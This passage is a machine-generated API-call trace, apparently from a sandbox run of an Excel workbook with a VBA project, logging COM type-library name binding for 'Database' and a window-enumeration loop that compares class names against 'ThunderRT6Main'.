szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0088.520] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x260f80, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0088.520] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb685780 [0088.520] strncpy_s (in: _Dst=0xb685780, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0088.520] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0088.520] bsearch (_Key=0x25fe98, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0088.520] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0088.520] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0088.520] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1380) returned 0x0 [0088.521] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0088.521] IUnknown:Release (This=0xb1d1380) returned 0xb [0088.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb685780, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.521] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0088.521] IUnknown:Release (This=0xb1d1380) returned 0xa [0088.521] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d0570) returned 0x0 [0088.521] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0088.521] IUnknown:Release (This=0xb1d0570) returned 0x12 [0088.521] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb685780, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.521] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0088.521] IUnknown:Release (This=0xb1d0570) returned 0x11 [0088.522] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0xb1d1920) returned 0x0 [0088.522] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0088.522] IUnknown:Release (This=0xb1d1920) returned 0x6 [0088.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb685780, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.522] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0088.522] IUnknown:Release (This=0xb1d1920) returned 0x5 [0088.522] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x25ff00 | out: ppTComp=0x25ff00*=0x6fed890) returned 0x0 [0088.522] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0088.522] IUnknown:Release (This=0x6fed890) returned 0x4 [0088.522] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb685780, cbMultiByte=9, lpWideCharStr=0x25fd00, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.522] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x25fcb8, pDescKind=0x25fda0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0 | out: ppTInfo=0x25fcb8*=0x0, pDescKind=0x25fda0*=0, ppFuncDesc=0x25fcc0, ppVarDesc=0x7feffdb3e52, ppTypeComp=0x8, pDummy=0x0) returned 0x0 [0088.522] IUnknown:Release (This=0x6fed890) returned 0x3 [0088.522] IMalloc:Free (This=0x7feffc15380, pv=0xb685780) [0088.525] GetCurrentThreadId () returned 0x92c [0088.525] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0088.525] GetDesktopWindow () returned 0x10010 [0088.525] SetPropA (hWnd=0x202cc, lpString=0xc113, hData=0x1) returned 1 [0088.525] EnableWindow (hWnd=0x202cc, bEnable=0) returned 0 [0088.525] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xb685780 [0088.525] IMalloc:Free (This=0x7feffc15380, pv=0xb685780) [0088.571] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Database", cchWideChar=-1, lpMultiByteStr=0x261870, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Database", lpUsedDefaultChar=0x0) returned 9 [0088.572] IMalloc:Alloc (This=0x7feffc15380, cb=0xa) returned 0xb686e80 [0088.572] strncpy_s (in: _Dst=0xb686e80, _DstSize=0xa, _Src="Database", _MaxCount=0x8 | out: _Dst="Database") returned 0x0 [0088.572] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="Database") returned 0x10eec7 [0088.572] bsearch (_Key=0x260778, _Base=0xb685940, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5a9219c) returned 0x0 [0088.572] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 1 [0088.572] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="Database", cchCount1=-1, lpString2="VBAProject", cchCount2=-1) returned 1 [0088.572] ITypeLib:GetTypeComp (in: This=0xb1d1370, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1380) returned 0x0 [0088.572] IUnknown:AddRef (This=0xb1d1380) returned 0xc [0088.572] IUnknown:Release (This=0xb1d1380) returned 0xb [0088.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb686e80, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.572] ITypeComp:RemoteBind (in: This=0xb1d1380, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0088.573] IUnknown:Release (This=0xb1d1380) returned 0xa [0088.573] ITypeLib:GetTypeComp (in: This=0xb1d0560, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d0570) returned 0x0 [0088.573] IUnknown:AddRef (This=0xb1d0570) returned 0x13 [0088.573] IUnknown:Release (This=0xb1d0570) returned 0x12 [0088.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb686e80, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.573] ITypeComp:RemoteBind (in: This=0xb1d0570, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0088.573] IUnknown:Release (This=0xb1d0570) returned 0x11 [0088.573] ITypeLib:GetTypeComp (in: This=0xb1d1910, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0xb1d1920) returned 0x0 [0088.573] IUnknown:AddRef (This=0xb1d1920) returned 0x7 [0088.573] IUnknown:Release (This=0xb1d1920) returned 0x6 [0088.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb686e80, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.573] ITypeComp:RemoteBind (in: This=0xb1d1920, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0088.573] IUnknown:Release (This=0xb1d1920) returned 0x5 [0088.573] ITypeLib:GetTypeComp (in: This=0x6fed880, ppTComp=0x2607e0 | out: ppTComp=0x2607e0*=0x6fed890) returned 0x0 [0088.573] IUnknown:AddRef (This=0x6fed890) returned 0x5 [0088.573] IUnknown:Release (This=0x6fed890) returned 0x4 [0088.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb686e80, cbMultiByte=9, lpWideCharStr=0x2605f0, cchWideChar=9 | out: lpWideCharStr="Database") returned 9 [0088.574] ITypeComp:RemoteBind (in: This=0x6fed890, szName="Database", lHashVal=0x10eec7, wFlags=0x1, ppTInfo=0x2605a8, pDescKind=0x260690, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0 | out: ppTInfo=0x2605a8*=0x0, pDescKind=0x260690*=0, ppFuncDesc=0x2605b0, ppVarDesc=0x2605a0, ppTypeComp=0x1194000000000008, pDummy=0x0) returned 0x0 [0088.574] IUnknown:Release (This=0x6fed890) returned 0x3 [0088.574] IMalloc:Free (This=0x7feffc15380, pv=0xb686e80) [0103.820] GetAsyncKeyState (vKey=27) returned 0 [0103.820] GetCurrentThreadId () returned 0x92c [0103.820] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0103.820] GetDesktopWindow () returned 0x10010 [0103.820] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10140 [0103.820] GetClassNameA (in: hWnd=0x10140, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0103.820] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0103.820] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0103.820] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0103.820] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.820] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.820] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0103.820] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0103.821] GetClassNameA (in: hWnd=0x10138, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0103.821] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0103.821] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0103.821] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0103.821] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0103.821] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0103.821] GetClassNameA (in: hWnd=0x10072, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x10070 [0103.821] GetClassNameA (in: hWnd=0x10070, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x1005c [0103.821] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0103.821] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.821] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.821] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.821] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0103.822] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.822] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0103.822] GetClassNameA (in: hWnd=0x10078, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.822] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0103.822] GetClassNameA (in: hWnd=0x10074, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.822] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0103.822] GetClassNameA (in: hWnd=0x10052, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.822] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0103.822] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.822] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0103.822] GetClassNameA (in: hWnd=0x10054, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Button") returned 6 [0103.822] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0103.822] GetClassNameA (in: hWnd=0x10050, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0103.822] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.822] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0103.822] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.822] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.822] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0103.822] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0103.823] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0103.823] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0103.823] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.823] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0103.823] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0103.823] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0103.823] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.823] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0103.823] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0103.823] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0103.823] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0103.823] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x10226 [0103.823] GetClassNameA (in: hWnd=0x10226, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.823] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.823] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.823] GetWindowLongA (hWnd=0x10226, nIndex=-16) returned -1946157056 [0103.823] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0103.823] GetWindowLongPtrA (hWnd=0x10226, nIndex=-6) returned 0x0 [0103.823] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x201a6 [0103.823] GetClassNameA (in: hWnd=0x201a6, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.823] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.823] GetWindowThreadProcessId (in: hWnd=0x201a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.823] GetWindowLongA (hWnd=0x201a6, nIndex=-16) returned -1946157056 [0103.823] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0103.823] GetWindowLongPtrA (hWnd=0x201a6, nIndex=-6) returned 0x13f4a0000 [0103.823] GetWindow (hWnd=0x201a6, uCmd=0x2) returned 0x202d2 [0103.823] GetClassNameA (in: hWnd=0x202d2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.823] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.823] GetWindowThreadProcessId (in: hWnd=0x202d2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.823] GetWindowLongA (hWnd=0x202d2, nIndex=-16) returned 382664704 [0103.823] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0103.823] GetWindowLongPtrA (hWnd=0x202d2, nIndex=-6) returned 0x13f4a0000 [0103.823] GetWindow (hWnd=0x202d2, uCmd=0x2) returned 0x30232 [0103.823] GetClassNameA (in: hWnd=0x30232, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.823] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x30232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.824] GetWindowLongA (hWnd=0x30232, nIndex=-16) returned -1778384896 [0103.824] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0103.824] GetWindowLongPtrA (hWnd=0x30232, nIndex=-6) returned 0x0 [0103.824] GetWindow (hWnd=0x30232, uCmd=0x2) returned 0x40234 [0103.824] GetClassNameA (in: hWnd=0x40234, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.824] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x40234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.824] GetWindowLongA (hWnd=0x40234, nIndex=-16) returned -1778384896 [0103.824] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0103.824] GetWindowLongPtrA (hWnd=0x40234, nIndex=-6) returned 0x0 [0103.824] GetWindow (hWnd=0x40234, uCmd=0x2) returned 0x2027a [0103.824] GetClassNameA (in: hWnd=0x2027a, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.824] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x2027a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.824] GetWindowLongA (hWnd=0x2027a, nIndex=-16) returned -1778384896 [0103.824] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0103.824] GetWindowLongPtrA (hWnd=0x2027a, nIndex=-6) returned 0x0 [0103.824] GetWindow (hWnd=0x2027a, uCmd=0x2) returned 0x20278 [0103.824] GetClassNameA (in: hWnd=0x20278, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0103.824] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x20278, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.824] GetWindowLongA (hWnd=0x20278, nIndex=-16) returned -1778384896 [0103.824] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0103.824] GetWindowLongPtrA (hWnd=0x20278, nIndex=-6) returned 0x0 [0103.824] GetWindow (hWnd=0x20278, uCmd=0x2) returned 0x20296 [0103.824] GetClassNameA (in: hWnd=0x20296, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0103.824] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x20296, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0103.824] GetWindow (hWnd=0x20296, uCmd=0x2) returned 0x20292 [0103.824] GetClassNameA (in: hWnd=0x20292, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="IME") returned 3 [0103.824] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x20292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb74 [0103.824] GetWindow (hWnd=0x20292, uCmd=0x2) returned 0x20280 [0103.824] GetClassNameA (in: hWnd=0x20280, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0103.824] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0103.824] GetWindowThreadProcessId (in: hWnd=0x20280, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb60 [0103.825] GetWindow (hWnd=0x20280, uCmd=0x2) returned 0x202c2 [0103.825] GetClassNameA (in: hWnd=0x202c2, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.825] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.825] GetWindowThreadProcessId (in: hWnd=0x202c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.825] GetWindowLongA (hWnd=0x202c2, nIndex=-16) returned 1149272145 [0103.825] GetWindow (hWnd=0x202c2, uCmd=0x2) returned 0x202cc [0103.825] GetClassNameA (in: hWnd=0x202cc, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0103.825] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0103.825] GetWindowThreadProcessId (in: hWnd=0x202cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.825] GetWindowLongA (hWnd=0x202cc, nIndex=-16) returned -1946157056 [0103.825] GetWindowLongPtrA (hWnd=0x202cc, nIndex=-6) returned 0x7fee5a60000 [0103.825] IsWindowEnabled (hWnd=0x202cc) returned 0 [0103.825] GetPropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0103.825] RemovePropA (hWnd=0x202cc, lpString=0xc113) returned 0x1 [0103.825] EnableWindow (hWnd=0x202cc, bEnable=1) returned 1 [0103.825] GetWindow (hWnd=0x202cc, uCmd=0x2) returned 0x2025c [0103.826] GetClassNameA (in: hWnd=0x2025c, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0103.826] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0103.826] GetWindowThreadProcessId (in: hWnd=0x2025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x92c [0103.826] GetWindowLongA (hWnd=0x2025c, nIndex=-16) returned 1149272145 [0103.826] GetWindow (hWnd=0x2025c, uCmd=0x2) returned 0x101e0 [0103.826] GetClassNameA (in: hWnd=0x101e0, lpClassName=0x28dc60, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0103.826] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0103.826] GetWindowThreadProcessId 